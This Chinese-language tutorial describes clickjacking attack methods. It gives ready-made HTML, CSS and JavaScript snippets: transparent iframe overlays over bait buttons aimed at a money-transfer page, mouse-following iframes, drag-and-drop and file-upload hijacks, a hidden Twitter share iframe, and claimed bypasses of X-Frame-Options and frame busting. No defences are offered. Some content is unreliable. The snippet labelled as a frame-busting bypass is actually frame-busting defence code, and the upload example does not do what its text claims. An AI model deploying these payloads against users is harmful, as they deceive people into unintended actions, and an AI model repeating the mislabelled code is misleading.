点击劫持的常见攻击方式

点击劫持的基本原理

点击劫持（Clickjacking）是一种视觉欺骗攻击手段，攻击者通过透明或不透明的iframe层覆盖在看似无害的网页元素上，诱使用户在不知情的情况下点击隐藏的恶意内容。这种攻击利用了CSS的层叠特性和iframe的嵌套能力，通常结合社会工程学手段实施。

<!-- 恶意网站代码示例 -->
<style>
    iframe {
        position: absolute;
        top: 0;
        left: 0;
        width: 100%;
        height: 100%;
        opacity: 0.01;
        z-index: 2;
    }
    button {
        position: absolute;
        top: 300px;
        left: 600px;
        z-index: 1;
    }
</style>
<button>点击领取大奖</button>
<iframe src="https://victim-site.com/transfer-money"></iframe>

传统iframe覆盖攻击

最常见的攻击方式是将目标网站嵌入透明iframe，然后通过CSS定位覆盖在诱饵按钮上方。当用户点击可见的UI元素时，实际触发的是隐藏iframe中的敏感操作。

攻击变种包括：

• 完全透明iframe（opacity: 0）
• 部分透明iframe（opacity: 0.1-0.5）
• 使用CSS clip-path裁剪特定可点击区域
• iframe外叠加多个透明DIV层增加点击命中率

// 动态调整iframe位置跟随鼠标
document.addEventListener('mousemove', (e) => {
    const iframe = document.querySelector('iframe');
    iframe.style.left = `${e.clientX - 50}px`;
    iframe.style.top = `${e.clientY - 20}px`;
});

拖放劫持技术

利用HTML5拖放API实施的增强型点击劫持，主要针对支持拖放操作的敏感界面：

1. 诱使用户从可见区域拖动元素
2. 隐藏iframe中包含拖放目标区域
3. 用户实际将数据拖放至恶意页面

<div id="drag-me" draggable="true">拖动领取优惠券</div>

<script>
    document.getElementById('drag-me').addEventListener('dragstart', (e) => {
        e.dataTransfer.setData('text/plain', '敏感数据');
    });
</script>

<!-- 隐藏的iframe -->
<iframe src="https://victim-site.com/drop-area" 
        style="opacity:0;position:fixed;width:100%;height:100%;"></iframe>

移动端点击劫持变种

移动设备上的特殊攻击形式：

触摸劫持：

• 利用触摸事件延迟（300ms延迟）
• 叠加透明元素覆盖整个视口
• 通过touchstart/touchend事件触发恶意行为

滚动劫持：

• 禁用页面滚动（overflow: hidden）
• 在虚假滚动条区域叠加iframe
• 用户尝试滚动时触发隐藏操作

/* 移动端触摸劫持样式 */
.overlay {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: transparent;
    z-index: 9999;
}

文件上传劫持

针对文件上传控件的特殊攻击方式：

1. 伪造上传按钮样式
2. 将真实file input定位在虚假按钮上方
3. 用户选择文件时实际提交到攻击者服务器

<style>
    #real-input {
        position: absolute;
        width: 200px;
        height: 50px;
        opacity: 0;
        z-index: 2;
    }
    #fake-button {
        position: absolute;
        width: 200px;
        height: 50px;
        background: #4CAF50;
        z-index: 1;
    }
</style>

<div id="fake-button">上传头像</div>
<input type="file" id="real-input">

社交媒体劫持技术

针对社交平台的特殊攻击模式：

点赞/关注劫持：

• 在虚假内容下方隐藏社交插件iframe
• 用户点击"查看图片"实际触发点赞

分享劫持：

• 伪造分享按钮UI
• 隐藏的真实分享按钮包含预设恶意内容
• 使用CSS transform缩放隐藏元素

<!-- 伪造的Twitter分享劫持 -->
<div class="fake-tweet" style="position:relative;">
    <div style="position:absolute;width:100%;height:100%;z-index:2;"></div>
    <iframe src="https://twitter.com/intent/tweet?text=恶意内容" 
            style="opacity:0;position:absolute;width:62px;height:20px;"></iframe>
</div>

高级视觉欺骗技术

结合现代CSS特性的复杂攻击：

伪URL劫持：

• 使用CSS ::before/::after伪造地址栏
• 配合window.location.hash实现虚假URL变化

动画劫持：

• 利用CSS动画短暂显示隐藏iframe
• 配合用户操作节奏触发（如游戏化界面）

3D变换劫持：

• 使用transform-style: preserve-3d
• 通过rotateX(90deg)等变换隐藏活动元素

/* 3D变换劫持示例 */
.hidden-layer {
    transform: rotateX(90deg);
    transform-origin: top center;
    transition: transform 0.3s;
}
.container:hover .hidden-layer {
    transform: rotateX(0deg);
}

防御绕过技术

攻击者为绕过防护采用的进阶手段：

iframe沙箱绕过：

• 组合使用sandbox="allow-forms allow-scripts"
• 通过postMessage与父窗口通信

X-Frame-Options绕过：

• 使用IE8兼容模式
• 通过Flash/Object标签嵌套
• 利用DNS重绑定攻击

Frame Busting绕过：

• 使用CSS overflow: hidden
• 通过onbeforeunload事件阻止跳转
• 利用浏览器全屏API

// Frame Busting绕过代码示例
if (top != self) {
    top.location = self.location;
    setTimeout(() => {
        document.body.innerHTML = '';
    }, 100);
}